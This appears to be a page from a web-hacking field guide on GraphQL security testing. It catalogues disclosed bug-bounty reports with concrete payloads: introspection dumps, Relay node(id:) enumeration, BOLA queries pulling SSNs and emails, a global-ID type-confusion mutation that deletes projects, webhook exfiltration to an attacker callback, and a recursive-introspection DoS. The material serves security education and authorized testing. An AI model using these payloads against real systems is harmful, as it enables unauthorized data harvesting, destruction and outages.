⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Attack surface/GraphQL
Attack surface

GraphQL

§Basic information

GraphQL exposes a single typed endpoint (/graphql) over which the client asks for exactly the fields it wants, in whatever nesting it likes. That flexibility is the vulnerability: authorization is enforced per resolver, not per object graph, so the same private record is usually reachable through more than one path — a nodes shortcut instead of edges { node }, an alias, a nested connection, the Relay node(id:) global-id interface, a where filter, or the websocket transport.

Treat GraphQL as an authorization-testing surface first and an injection surface second. The dominant bug is not RCE — it is the guarded path is protected, the alternate path is not. Every returned object is an invitation to request one more sub-field, one more traversal, one more type. The self-describing schema (introspection) hands you the whole map for free.

§Methodology

  1. Find the endpoint(s). /graphql, /api/graphql, /admin/api/{version}/graphql, /admin/internal/web/graphql/core. Fuzz /graphql on every subdomain, not just the main app — internal tooling often ships an unauthenticated instance.
  2. Confirm it speaks GraphQL and dump the schema via introspection (below). If HTTP introspection is off, retry over the websocket and via field-suggestion errors.
  3. Inventory the two things that produce most bugs: by-identifier queries (userByDodId, node(id:), location(code:)) and every field name that smells sensitive (email, pin, ssn, token, otp_backup_codes, total_count).
  4. Request the same object through every traversalnodes vs edges, aliases, nested parents, node(id:), aggregations. Diff what each path returns.
  5. BOLA every by-id query — swap your identifier for a victim's. BFLA every mutation — swap your id: argument for a higher-value GID.
  6. Escalate the leak to PII harvest, privilege escalation, or a REST-side pivot.
▸ TIP
The single most common mistake is sending the query without Content-Type: application/json. The endpoint replies "query string not present" and looks dead — supplying the header revives it (#419883).

§Introspection & schema recovery

Introspection is GraphQL's built-in self-documentation. If it is on, one query returns every type, field, argument, and mutation.

# Always application/json. A missing header hides a live endpoint. POST /graphql HTTP/1.1 Host: TARGET Content-Type: application/json {"query":"query{__schema{queryType{name} mutationType{name} types{name kind fields{name}}}}"}
Full introspection query (fields, args, input types)
// Maps every by-id query and mutation input — paste as the "query" value query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { name kind fields { name args { name type { name kind ofType { name } } } } inputFields { name type { name kind ofType { name } } } } } }

When introspection is disabled, two fallbacks recover the schema anyway:

// 1. Websocket start message — auth/introspection hardening is usually HTTP-only (#862835) {"type":"connection_init","payload":{}} {"type":"start","id":"1","payload":{"query":"query IntrospectionQuery{__schema{types{name kind fields{name}}}}"}}
# 2. Field-suggestion errors leak names one at a time ("Did you mean 'email'?") POST /graphql HTTP/1.1 Content-Type: application/json {"query":"query{user{emial}}"}
● NOTE
Introspection off is not introspection safe. clairvoyance reconstructs the whole schema purely from field-suggestion errors, and the websocket start message bypasses HTTP-layer controls entirely (#862835). Always retest on the subscription transport.

§Authorization-bypass traversals

The core move: authz is per-resolver, so reach the same object by a different resolver. Find which traversal your target forgot to guard.

nodes vs edges

Modern GraphQL libraries auto-generate a nodes helper alongside edges { node }. It is a separate resolver and frequently skips the attribute-level authorization scopes that edges enforces (#489146). Request every connection both ways and diff the fields that come back.

POST /graphql HTTP/1.1 Content-Type: application/json # nodes is a distinct, often-unguarded path to the same records {"query":"{ users { nodes { email account_recovery_phone_number otp_backup_codes totp_enabled vpn_credentials { name } } } }"}

Field over-fetch

Object-level authz frequently passes while field-level authz is missing — you own the object, but it exposes fields you shouldn't read. Enumerate every field of user/staff/team objects: pin, secret, phone, ssn, token, total_count.

POST /admin/api/unversioned/graphql HTTP/1.1 Content-Type: application/json X-Shopify-Access-Token: LOW_PRIV_XAUTH_TOKEN # staffMembers.pin leaks a Manager PIN to a stripped-down user (#1091303) {"query":"{ shop{ staffMembers(first:100){ edges{ node{ name pin isShopOwner } } } } }"}

BOLA on by-identifier queries

Any query that takes an identifier (dodId, guid, code, numeric id) is a BOLA candidate: authz is enforced at the endpoint, not per object. Swap your identifier for a victim's — identifiers leak from adjacent systems (address books, your own record's relations).

POST /api/graphql HTTP/1.1 Content-Type: application/json # Same authenticated session, someone else's records (#2954320) {"query":"query{ findLdapPersonByDodId(dodId:\"VICTIM_DODID\"){ givenName sn ssn rank mail uic status } }"}

Relay node(id:) enumeration

The Relay node(id:) interface accepts a base64 gid://app/Type/<PK>. Two problems: it is often a separate, unguarded resolver for objects the primary query protects (#978143, #781150, #1618347), and it defeats UUIDs — if an object also has a sequential PK, decode the gid, walk the PK, re-encode, and read the "secret" UUID back (#447930).

POST /graphql HTTP/1.1 Content-Type: application/json # base64("gid://hackerone/EmbeddedSubmissionForm/9") — increment the PK, read back the UUID {"query":"{ node(id:\"Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==\"){ ... on EmbeddedSubmissionForm{ uuid team{ handle policy } } } }"}

Global-ID type confusion

Global IDs are opaque but polymorphic. Any resolver that calls object_from_id/GlobalID.find without asserting the expected type lets you smuggle a higher-value object into a permission check written for a weaker one — a confused deputy. On every mutation, keep the operation but swap the id: for a GID of a more valuable type.

// Annotation-delete authz is lenient; run it against a Project GID -> repo deleted (#960244) mutation { deleteAnnotation(input: {id: "gid://Gitlab/Project/VICTIM_PROJECT_ID"}) { clientMutationId } }

Nested sub-connections

Even when the parent object is authorized, its child connections may not be. Expand every sub-connection on a User/Team node and hunt for private metadata leaking through an unguarded child — including objects where report:null but the metadata fields are still populated (#871749).

POST /graphql HTTP/1.1 Content-Type: application/json # report_retests leaks asset/severity/weakness for never-disclosed reports (#871749) {"query":"{ user(username:\"VICTIM\"){ report_retests{ nodes{ report{_id} asset_name asset_type severity_rating weakness_name } } } }"}

Filters & aggregations as authz bypass

Row-level authorization guards which rows you get back — but where/_or/_and filters (#645299, #1276992) let you enumerate objects the row filter should hide, and aggs/terms aggregations (#1838329) return private field values even when the underlying rows are blocked. The aggregation never returns the row, so the row guard never fires.

POST /graphql HTTP/1.1 Content-Type: application/json # aggs returns aggregated private field values (e.g. private-program handles) without ever returning a guarded row {"query":"{ opportunities_search(query:{}, aggs:{results:{terms:{field:\"handle\"}}}){ aggs } }"}

Mutation response echo & webhook exfil

Mutations leak two ways. Invite/collaborate flows that accept a username often resolve it to the account and echo the private email in the response before the invite is accepted (#2032716). And webhook-subscription mutations that don't check per-topic authorization become an exfil pipe: subscribe a sensitive topic to your own callback (#1350095).

// Zero-permission staff subscribes a sensitive topic to COLLAB -> receives the data (#1350095) {"operationName":"webhookSubscriptionCreate", "variables":{"topic":"BULK_OPERATIONS_FINISH","webhookSubscription":{"callbackUrl":"https://COLLAB/"}}, "query":"mutation webhookSubscriptionCreate($topic: WebhookSubscriptionTopic!, $webhookSubscription: WebhookSubscriptionInput!){ webhookSubscriptionCreate(topic:$topic, webhookSubscription:$webhookSubscription){ webhookSubscription{ id } } }"}
▲ WARNING
A leaked field or a schema dump on its own is often triaged as low. Chain it. Introspection → by-id BOLA → org-wide PII (#2954320); a nodes over-fetch of otp_backup_codes/vpn_credentials → account takeover (#489146); a StaffMember.pin leak → real-world privesc on the register (#1091303). Report the impact, not the primitive.

§Bypasses

Filter / controlBypassSeen in
Introspection "disabled" (HTTP)send IntrospectionQuery over the websocket start message#862835
Endpoint looks "dead"supply Content-Type: application/json"query string not present" hides a live endpoint#419883
Field-level authz on edges{node}request the same connection via the auto-generated nodes { } resolver#489146
Object-level authz on the primary queryreach the object via the Relay node(id:) global-id interface instead#978143, #781150, #1618347
UUID used as access controlobject also has a sequential PK; enumerate the PK via node(id:), read the UUID back#447930
Permission check on a weak typepass a high-value GID to an untyped object_from_id (confused deputy)#960244
Row-level authzpull the values through aggs/terms aggregation instead of rows#1838329
Row-level authzenumerate hidden objects via _or/_and/where filters#645299, #1276992
Server-side mutation/rate limitfan the mutation out across GraphQL aliases in one request#2166697
Parallel-authz gap (REST blocks it)the GraphQL namespace query returns data the REST endpoint refuses#614355
Internal REST re-encodingURL-encoded ?/&/trailing %26 inside the GID inject path/query, defeat the .json suffix#800231

§Escalation & impact

GraphQL is a hub in multi-bug chains, not a dead end:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 42 in this class.

Real-world example

GraphQL `nodes` connection field bypasses field-level authz

◆ Critical
Specimen #489146 · security · awarded · 1032 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

A migration to graphql-ruby's class-based API auto-added a `nodes` helper on every connection. Unlike `edges { node }`, `nodes` skipped attribute-level authorization scopes, serializing sensitive User fields to any caller.

Method

  1. Enumerate connection types in the schema (introspection or known queries)
  2. For each connection request `nodes { <sensitive fields> }` instead of `edges { node { ... } }`
  3. Diff which fields return under nodes vs edges to find the unguarded path
{ users() { nodes { email account_recovery_phone_number otp_backup_codes facebook_user_id totp_enabled vpn_credentials { name } } } }

Insight — On GraphQL, request the SAME data through every available traversal (nodes vs edges, aliases, nested parents). Authorization is often enforced per-resolver, so an alternate field reaching the same object leaks what the guarded path blocks.

Real-world example

Unauthenticated GraphQL node(id) discloses private-program assets by gid enumeration

◆ Critical
Specimen #1618347 · security · 25000 · 285 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

The generic Relay node(id:) resolver returned PolicyPageAssetGroup objects (private program names/scope) with no authorization check; enumerating the numeric portion of the gid leaked private program data to unauthenticated users.

Method

  1. Take a known gid type: gid://hackerone/PolicyPageAssetGroupsIndex::PolicyPageAssetGroup/{id}
  2. Query node(id) requesting the inline fragment fields
  3. Enumerate {id} to walk private programs
{"query":"{node(id:\"gid://hackerone/PolicyPageAssetGroupsIndex::PolicyPageAssetGroup/3981-41287\"){... on PolicyPageAssetGroupDocument{id,name}}}"}

Insight — The Relay/global node() interface is a universal IDOR surface: it resolves many types through one field that frequently skips per-type auth. Enumerate gids (raw or base64) to pull private objects.

Real-world example

GraphQL over-fetch of private email/counts via privileged sub-fields

◆ Critical
Specimen #2382120 · security · awarded · 99 votes · resolved
Program securitySurface graphqlChain API bounty creation -> target user attached to your progrTag graphql

Root cause

GraphQL nodes exposed privileged sub-fields (invitations{email}, reporter{email}, whitelisted_hackers{total_count}) that were not authorization-checked at field level; by creating a bounty to a target user_id via the Customer REST API then querying BountiesHistoryQuery, the target's private email was returned.

Method

  1. Create an API token (report manager role) for a sandbox program
  2. Copy any target user's id from their profile
  3. POST a bounty to that recipient_id via the Customer API (/v1/programs/{id}/bounties)
  4. Run BountiesHistoryQuery for your sandbox handle and read node.report.reporter.email / invitations.email from the response
POST https://api.hackerone.com/v1/programs/{id}/bounties {"data":{"type":"bounty","attributes":{"recipient_id":"<TARGET_USER_ID>","amount":51,"reference":"x","title":"x","currency":"USD","severity_rating":"high"}}} # then GraphQL: query BountiesHistoryQuery($handle:String!,$pageSize:Int!,$cursor:String){team(handle:$handle){bounties(first:$pageSize,after:$cursor){edges{node{awarded_user{username} invitations{email token} report{reporter{email id username}}}}}}}

Insight — On GraphQL, request every sub-field of every returned node (email, token, counts) - field-level authz is often missing even when object-level is enforced. Chain a state-changing API call (award/invite) to attach a target object to your own tenant, then read its privileged fields back.

Real-world example

GraphQL introspection + missing object-level authz -> mass PII extraction

◆ Critical
Specimen #2954320 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface graphqlChain introspection -> enumerate by-id queries -> BOLA on eaTag graphql

Root cause

An authenticated GraphQL API allowed full introspection and enforced no per-object authorization, so any low-privilege user could query arbitrary users' records (SSN, clearance, evaluations, board membership) by DoDID/GUID.

Method

  1. Authenticate as any low-privilege user and capture the /graphql POST in Burp
  2. Run a full introspection query to recover the schema (types, queries by-id)
  3. Identify by-identifier queries (userByDodId, evaluationsByDodId, findLdapPersonByDodId, candidatesForBoard, boardEventVoters)
  4. Supply other users' identifiers (DoDIDs harvestable from an org address book / GUIDs from your own records) to read their data
  5. Iterate to bulk-harvest PII across the org
POST /api/graphql HTTP/1.1 Content-Type: application/json {"query":"query{findLdapPersonByDodId(dodId:\"VICTIM_DODID\"){givenName sn ssn rank mail branchOfService uic status}}"} # also: userByDodId, evaluationsByDodId, candidatesForBoard(boardGuid:...), boardEventVoters(boardEventGuid:...)

Insight — On any GraphQL API: (1) always attempt introspection to map by-id queries; (2) authorization is frequently enforced at the endpoint but NOT per object - swap your own identifier for another user's to test BOLA. Identifiers often leak from adjacent systems (address books, your own record's relations).

Real-world example

Mutation response echoes victim's private email pre-acceptance

◆ High
Specimen #2032716 · security · 12500 · 425 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

SaveCollaboratorsMutation resolved a username to the underlying account and returned/echoed the private email in the collaboration flow before the invited user accepted.

Method

  1. Create a dummy report, add target as collaborator by username
  2. Re-open the collaborators editor and capture the GraphQL traffic
  3. Read the victim's email surfaced in the mutation/response
POST /graphql {"operationName":"SaveCollaboratorsMutation","variables":{"input":{"report_id":<ID>,"collaborators":[{"username_or_email":"<VICTIM>"}]}},...}

Insight — Invite/collaborate flows that accept a username often resolve and return the private email tied to it. Test whether username->email resolution leaks in the mutation response.

Real-world example

Relay node interface exposes UUID-gated objects via auto-increment PK

◆ High
Specimen #447930 · security · none · 54 votes · resolved
Program securitySurface graphqlChain node(id: PK) -> leak secret UUID -> UUID grants inviteTag graphql

Root cause

An object is meant to be addressed only by an unguessable UUID, but it still has a sequential primary key, and the GraphQL Relay node(id:) interface accepts the base64 gid://app/Type/<PK>, letting an attacker enumerate objects by PK and read back the secret UUID (and over-exposed related fields).

Method

  1. Take a known node global ID and base64-decode it to gid://app/EmbeddedSubmissionForm/<PK>
  2. Increment/decrement the PK, base64 re-encode
  3. Query node(id:) selecting the UUID field to recover the secret UUID
  4. Use the UUID (e.g. as embedded_submission_form_uuid) to query team{handle policy} and read private program info
query { node(id:"Z2lkOi8vaGFja2Vyb25lL0VtYmVkZGVkU3VibWlzc2lvbkZvcm0vOQ==") { ... on EmbeddedSubmissionForm { uuid team { handle policy } } } }

Insight — A UUID is not access control if the object is also reachable by sequential PK through the Relay node interface. Decode every base64 gid, fuzz the numeric PK, and request the 'secret' fields (uuid, tokens) back. Two distinct bugs to report: node-interface object exposure AND the related object (Team) over-exposing fields.

Real-world example

GraphQL node() interface bypasses object-level authz on private-program objects

◆ High
Specimen #781150 · security · none · 30 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

The StructuredScope protector grants field access to any user holding the H1_PENTESTER role with the CAN_INVITE_HACKERS feature, but never verifies the user actually has a Pentest relationship to that scope; the generic Relay node(id:) interface then returns any StructuredScope by global id.

Method

  1. Authenticate as an H1 pentester
  2. Issue a GraphQL query against the node(id:) interface with a base64 StructuredScope global id
  3. Cast the node to StructuredScope and select its fields
  4. Receive scope data (asset_identifier, instruction, etc.) for private programs you were never invited to
query { node(id: "Z2lkOi8vaGFja2Vyb25lL1N0cnVjdHVyZWRTY29wZS8x") { ... on StructuredScope { _id asset_identifier asset_type } } }

Insight — The Relay node(id:) / global-id interface is a notorious authz bypass: object-level checks bound to specific query fields are skipped when the same object is fetched generically by id. Always re-test every protected object through node(id:).

Real-world example

Cross-tenant GraphQL mutation (role checked, tenant not)

◆ High
Specimen #1066203 · stripe · awarded · 25 votes · resolved
Program stripeSurface graphqlTag graphql

Root cause

UpdateAtlasApplicationPerson checked that the caller had Admin role on some Stripe account but not that the target Atlas application belonged to that account, letting an admin of one merchant add a co-founder to another merchant's Atlas application (cross-tenant write).

Method

  1. Gain Admin on any Stripe account
  2. Invoke the UpdateAtlasApplicationPerson mutation referencing another merchant's Atlas application id
  3. Mutation succeeds - a person is written into the foreign tenant's application
mutation { UpdateAtlasApplicationPerson(applicationId: "<VICTIM_TENANT_APP_ID>", person: { role: cofounder, ... }) { ... } }

Insight — Role checks (is-admin) are not tenant checks (is-admin-OF-THIS-object). On multi-tenant GraphQL, retest privileged mutations with an object id from a second tenant you also control to prove the missing tenant scoping.

Real-world example

GraphQL global-ID type confusion via untyped object_from_id

◆ High
Specimen #960244 · gitlab · awarded · 16 votes · resolved
Program gitlabSurface graphqlChain type confusion in find_object -> weak annotation-delete aTag graphql

Root cause

The annotation mutations' find_object calls GitlabSchema.object_from_id(id) with no check that the resolved object is actually an Annotation. authorized_find! then runs the delete permission check against whatever object the attacker's GID points to; since a Developer may delete_metrics_dashboard_annotation, passing a Project GID deletes the whole project/repository.

Method

  1. As a Developer (or any role that passes the annotation permission) on a target project
  2. Send the deleteAnnotation mutation but supply a GID for a different object type, e.g. gid://Gitlab/Project/<id>
  3. object_from_id returns the Project; the annotation-delete authz passes; DeleteService destroys the project + repository
mutation { deleteAnnotation(input: {id: "gid://Gitlab/Project/<project-id>"}) { clientMutationId } }

Insight — GraphQL global IDs are opaque but polymorphic: any resolver that does object_from_id / GlobalID.find without asserting the expected type lets you smuggle a different object into an authorization check meant for a weaker one. On every GraphQL mutation, try replacing the id argument with a GID of a higher-value type and see if the permission check (which may be lenient for the intended type) is applied to your substituted object.

Real-world example

Nested GraphQL node field leaks undisclosed-report metadata

◆ Medium
Specimen #871749 · security · awarded · 189 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

The report_retests connection on the User GraphQL node lacked field-level authz, exposing asset_name, asset_type, severity_rating and weakness_name for reports that were never disclosed (report:null objects). A related flaw exposed Team.payment_transactions.total_count unauthenticated.

Method

  1. Query a User/Team node and expand every nested connection (retests, transactions, etc.)
  2. Look for objects where report:null but metadata fields are still populated
  3. Correlate asset/severity/weakness to profile private programs' undisclosed activity
query { user(username:"X"){ report_retests { nodes { report{_id} asset_name asset_type severity_rating weakness_name report_substate } } } }

Insight — Even when the parent object is authorized, its nested fields may not be. Expand every sub-connection on a GraphQL node and hunt for private metadata leaking through un-guarded child fields.

Real-world example

GraphQL node(id) global-ID lookup bypasses object-level authorization

◆ Medium
Specimen #978143 · security · USD 2500 · 146 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

The generic node(id:) resolver fetches any object by its global relay ID without re-checking per-object authorization, returning fields (private_comment, respondent email/username) that the type's normal query path would gate.

Method

  1. Obtain/guess a global node ID (gid://app/Type/NNN)
  2. Query node(id:) unauthenticated and inline-fragment the target type
  3. Select sensitive fields directly (private_comment, email, etc.)
{"query":"query { node(id: \"gid://hackerone/SurveyRatingItem/ID\") { ... on SurveyRatingItem { _id key private_comment survey_rating { respondent { username email } } } } }"}

Insight — GraphQL's generic node()/relay interface is a classic BOLA sink - authz is often enforced on top-level queries but not on the node resolver. Always retry blocked objects through node(id:) with inline fragments.

Real-world example

Unprotected Team GraphQL fields enumerate private programs

◆ Medium
Specimen #770209 · security · USD 2500 · 142 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

Several Team object fields (report_sources, vpn_suspended, policy_markdown_html) are returned without authorization; their value differs between programs that run a private program and those that do not, letting an attacker enumerate hidden private programs.

Method

  1. Query team(handle:) for the leaky fields on each candidate handle
  2. report_sources non-empty (['HackerOne Platform']) => private program
  3. vpn_suspended set / policy_markdown_html returns internal policy => private program exists
{"query":"query { team(handle:\"TARGET\"){ _id report_sources vpn_enabled vpn_suspended policy_markdown_html } }"}

Insight — On GraphQL, authorization is per-field: some fields on an otherwise-public object leak internal state. Introspect every field of a shared type and diff responses across known-public vs suspected-private objects to find the leaking one.

Real-world example

GraphQL where-filter enumerates private objects (private program disclosure)

◆ Medium
Specimen #1276992 · security · 2500 · 129 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

The teams GraphQL query honoured arbitrary boolean where-filters (roles is_private AND is_has_published_external_program) and returned handles/counts for private programs, letting an attacker enumerate otherwise-hidden objects by filtering.

Method

  1. Send a teams query with a where clause filtering on private/internal attributes
  2. Read the returned handles/total_count of private objects
{"query":"{teams(last:100,where:{_and:[{roles:is_has_published_external_program},{roles:is_private}]}){total_count,nodes{_id,handle,state}}}"}

Insight — Rich GraphQL where/filter arguments are an enumeration oracle: filter on is_private/internal booleans to list objects you shouldn't see. Always test attribute-based filters on list queries.

Real-world example

Field-level authz bypass via GraphQL _or/_and filter

◆ Medium
Specimen #645299 · security · none · 81 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

A 'secure schema' rewrites filterable fields (state -> __new_filterable_state) to enforce field-level authz, but only the FIRST clause of an _or/_and array is rewritten; subsequent clauses query the unprotected schema, letting you infer a hidden field's value.

Method

  1. Find a collection with a where filter on a field you cannot read
  2. Wrap two identical equality conditions in _or
  3. Server returns rows matching the guessed value (with the field itself null), confirming the value by inference
query { teams(where:{_or:[{state:{_eq:soft_launched}},{state:{_eq:soft_launched}}]}) { edges { node { id state } } } }

Insight — When an API applies field-level security, test boolean/list operators (_or, _and, _not, nested filters). Rewriting logic often only patches the first/top-level predicate. Inference-by-filter recovers a value you are forbidden to select directly.

Real-world example

GraphQL over-fetch of unprotected private fields

◆ Medium
Specimen #343464 · security · 2500 · 75 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

Nested/scalar GraphQL fields that should be restricted (team_member_groups{name,permissions}; ibb_bounty_table) are resolvable by any caller because the resolver lacks a field-level authorization check.

Method

  1. Introspect or guess sensitive fields hanging off an object you can query (Team by handle)
  2. Select the private nested field directly in the query
  3. Read internal RBAC/permission structure or private config that the UI never exposes
query { team(handle:"security"){ team_member_groups{ id name permissions } } } # variant (merged #2322082): query { team(handle:"security"){ ibb_bounty_table{ critical high medium low } } }

Insight — GraphQL authz is per-resolver: an object being visible does not mean every field on it is guarded. Enumerate all selectable fields (introspection or wordlists) and request the sensitive-sounding ones directly - permissions, internal groups, budgets, private config.

Real-world example

GraphQL auth bypass by prepending __schema to private ops

◆ Medium
Specimen #3452015 · enjin · awarded · 73 votes · resolved
Program enjinSurface graphqlTag graphql

Root cause

The GraphQL auth guard classifies a request as public/introspection when it contains __schema, so prepending __schema to a document lets private operations run without authentication (only ops that later dereference the user object error out).

Method

  1. Take a private query/operation
  2. Prepend an introspection selection (__schema) so the guard treats the request as introspection/public
  3. Send unauthenticated -> private queries execute
query { __schema { queryType { name } } privateOperation { ...sensitiveFields } }

Insight — Test GraphQL auth middleware that special-cases introspection: mixing __schema with real operations can flip the whole request to 'public'. General lesson: per-request (not per-field) auth decisions based on document content are bypassable by adding an allowlisted field.

Real-world example

Over-broad object scope in GraphQL mutation + skip_authorization interactor

◆ Medium
Specimen #717716 · security · none · 65 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

A mutation resolves the target object with schema.object_from_id and re-fetches it through a scope that returns everything the user can *see* rather than everything they can *manage*; the downstream interactor explicitly skip_authorization, so a visible-but-not-owned team can be mutated.

Method

  1. Grab a team_id (base64 gid) for any program you can merely see
  2. Send the UpdateGatewayProgramState mutation with that team_id and vpn_suspended true/false
  3. For Gateway-enabled programs the VPN state is toggled; others 500 (still confirming the missing authz)
POST /graphql {"query":"mutation updateState($input_0:UpdateGatewayProgramStateInput!){updateGatewayProgramState(input:$input_0){team{handle}}}","variables":{"input_0":{"team_id":"Z2lkOi8vaGFja2Vyb25lL1RlYW0vMTM=","vpn_suspended":false,"clientMutationId":"0"}}}

Insight — For GraphQL mutations, check the scope used to reload the object: 'objects I can see' vs 'objects I can manage'. object_from_id + a see-scope + an interactor that skips authorization is a recurring IDOR pattern. A 500 on an unrelated ID vs 200 on a feature-enabled one is a strong side-channel signal.

Real-world example

GraphQL parallel-authz gap: namespace query returns REST-blocked private data

◆ Medium
Specimen #614355 · gitlab · awarded · 64 votes · resolved
Program gitlabSurface graphqlTag graphql

Root cause

GitLab's GraphQL namespace resolver enforces weaker authorization than the REST/Web API: private user profiles and secret group descriptions/metadata that REST returns 404 for are returned by GraphQL, even unauthenticated.

Method

  1. Confirm a target is private via REST/Web (404 / not found)
  2. Query the GraphQL namespace(fullPath: ...) resolver for the same handle
  3. Read description, projects, visibility and other metadata GraphQL returns without a token
curl 'https://gitlab.com/api/graphql' -H 'Content-Type: application/json' --data '{"query":"{namespace(fullPath:\"secret-group-213\"){description fullName fullPath id visibility projects(includeSubgroups:true){edges{node{id name visibility description}}}}}"}'

Insight — A newer/second API surface (GraphQL) often reimplements object access without porting all the REST authorization checks. For any object hidden by REST/Web, re-request it through GraphQL (and vice versa) - the private-profile / secret-group protections were effectively void through GraphQL.

Real-world example

UI-layer redaction bypass via GraphQL mutation echoing sensitive fields

◆ Medium
Specimen #2357012 · security · awarded · 59 votes · resolved
Program securitySurface graphqlTag graphql

Root cause

Report redaction was applied at the presentation layer, but the ShareReportViaEmail GraphQL mutation's return selection (report{impact title vulnerability_information}) resolved the underlying unredacted fields in the response.

Method

  1. Locate a mutation/query whose selection set can request the sensitive fields of an object you only see redacted
  2. Issue the mutation requesting report{impact,title,vulnerability_information}
  3. Read the sensitive values from the mutation response despite UI redaction
POST /graphql mutation ShareReportViaEmail($reportId: ID!,$message:String!,$emails:[String!]!){ shareReportViaEmail(input:{report_id:$reportId,message:$message,emails:$emails}){ report{impact title vulnerability_information} } } variables: {reportId:"gid://hackerone/Report/<id>",message:"x",emails:["you@wearehackerone.com"]}

Insight — Redaction/obfuscation done in the UI is not enforcement. On GraphQL, request the raw fields of a partially-visible object through any mutation/query that returns that object; resolvers frequently return unredacted data.

Real-world example

Recursive introspection DoS (no depth limit)

◆ Medium
Specimen #2048725 · sorare · awarded · 56 votes · resolved
Program sorareSurface graphqlTag graphql

Root cause

GraphQL introspection was public with no query-depth/complexity limit; a circular query walking __schema.types->fields->type->fields repeatedly forces massive schema serialization, degrading the server on a single unauthenticated request.

Method

  1. Confirm introspection is enabled (public playground)
  2. Craft a circular __schema query nesting types{fields{type{fields{...}}}}
  3. Add more recursion loops to increase response size/latency
  4. Single request returns megabytes and multi-second delay on both GraphQL instances
POST /graphql Content-Type: application/json {"query":"query { __schema { types { fields { type { fields { type { fields { type { fields { name }}}}}}}}}"}

Insight — On any GraphQL endpoint with introspection on, test recursive/circular field expansion for a single-request DoS. No auth or botnet needed; each added loop multiplies cost. Recommend depth+complexity limits.

Real-world example

GraphQL over-fetch of PIN field + token-scope escalation (Shopify POS)

◆ Medium
Specimen #1091303 · shopify · awarded · 46 votes · resolved
Program shopifySurface graphqlChain low-priv user -> xauth access_token -> GraphQL StaffMeTag graphqlTag account-takeover

Root cause

A low-privilege user can obtain a broadly-scoped POS access_token from /admin/api/xauth, then query the GraphQL StaffMember object which exposes the sensitive 'pin' field for all staff, letting them read a Manager PIN and escalate on the physical POS.

Method

  1. Create a low-priv shop+POS user and strip its admin permissions
  2. Grab the POS api_key from /admin/apps/pos
  3. POST credentials to /admin/api/xauth to receive an access_token
  4. Send that token as X-Shopify-Access-Token to the unversioned GraphQL endpoint and query staffMembers { ... pin ... }
  5. Read the Manager PIN and use it on the POS device to escalate
POST /admin/api/xauth {"api_key":"...","login":"lowpriv@ex.com","password":"..."} # -> access_token POST /admin/api/unversioned/graphql X-Shopify-Access-Token: <token> {"query":"query{ shop{ staffMembers(first:100){ edges{ node{ name pin isShopOwner } } } } }"}

Insight — On GraphQL, enumerate every field of user/staff objects (pin, secret, phone, privateData) - authz is often per-object, not per-field. Also test whether a low-priv login mints a token whose scope exceeds the user's UI permissions.

Real-world example

GraphQL global-id -> ActiveResource param injection (internal REST) via URL-encoding

◆ Medium
Specimen #800231 · security · none · 42 votes · resolved
Program securitySurface graphqlChain GraphQL node id injection -> internal Payments REST indexTag graphql

Root cause

A GraphQL node(id:) global ID is passed unencoded as the resource identifier to a Rails ActiveResource model whose transport is HTTP; ActiveResource does not re-encode the id, so URL-encoded characters in the id part of the gid inject path/query into the internal REST request.

Method

  1. Find models exposed via the GraphQL node interface that are backed by ActiveResource (HTTP transport to an internal service).
  2. Confirm the id is used verbatim in the internal path: node(id:'gid://app/Payment/1') -> GET /payments/1.
  3. URL-encode a '?' and '&' inside the id part to break out of the path into query params: %3f = '?', %26 = '&', trailing %26 to make the router ignore the appended .json.
  4. Point the internal find at the index endpoint with attacker-chosen filters and use response timing (records found vs none) as an oracle.
query { node(id: "gid://hackerone/PaymentsLibrary::Payment/%3fcore_hacker_username%3djobert%26core_team_handle%3dsecurity%26") { ... on User { id } } } # -> GET /payments/?core_hacker_username=jobert&core_team_handle=security%26.json

Insight — When a public GraphQL/id maps to an internal service call, test whether the identifier is encoded. URL-encoded ?/& inside opaque IDs can pivot a single-record lookup into an index/filter call against an internal REST API; use RTT differences as a boolean oracle even when the response is always a 500.

Real-world example

GraphQL query returns private objects (missing object-level authz)

◆ Medium
Specimen #1085332 · shopify · $1900 · 34 votes · resolved
Program shopifySurface graphqlTag graphql

Root cause

The shopApps GraphQL query returns all apps including isPrivate:true entries with no per-object authorization filtering, letting an admin-scoped user enumerate every app (public and private) platform-wide.

Method

  1. Capture the internal GraphQL request from the users admin page
  2. Send shopApps(first:10000) selecting isPrivate/handle/name/clientId
  3. Filter the response for isPrivate:true
{"query":"query { shopApps(first:10000){ edges{ node{ id isPrivate handle name title shopifyApiClientId }}}}"}

Insight — GraphQL list/collection resolvers often lack the object-level authz enforced on single-item queries; request large 'first:' counts and grep for private/internal flags in the nodes.

Real-world example

GraphQL aggregation (aggs/terms) leaks private field values past row auth

◆ Medium
Specimen #1838329 · HackerOne · none · 32 votes · resolved
Program HackerOneSurface graphqlTag graphql

Root cause

The search/opportunities_search endpoints applied access control to returned documents but not to the aggregation buckets, so terms aggregation over a field (e.g. handle) enumerated values from records the caller could not directly read.

Method

  1. Open a GraphQL client authenticated as a low-privilege user
  2. Call search/opportunities_search with an aggs terms aggregation on a sensitive field
  3. Read the returned bucket keys, which include values from private/unauthorized records
query { opportunities_search(query:{}, aggs:{results:{terms:{field:"handle"}}}) { aggs } }

Insight — Aggregations, facets, counts, and sort/order-by are a classic row-level-security bypass: the row is hidden but its field value leaks through the aggregate. On any GraphQL/search API, try terms/histogram aggregations over id, handle, email, owner to exfiltrate hidden values.

§References & practice

  1. PortSwigger Web Security Academy — GraphQL API labs (hands-on practice).
  2. All 42 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.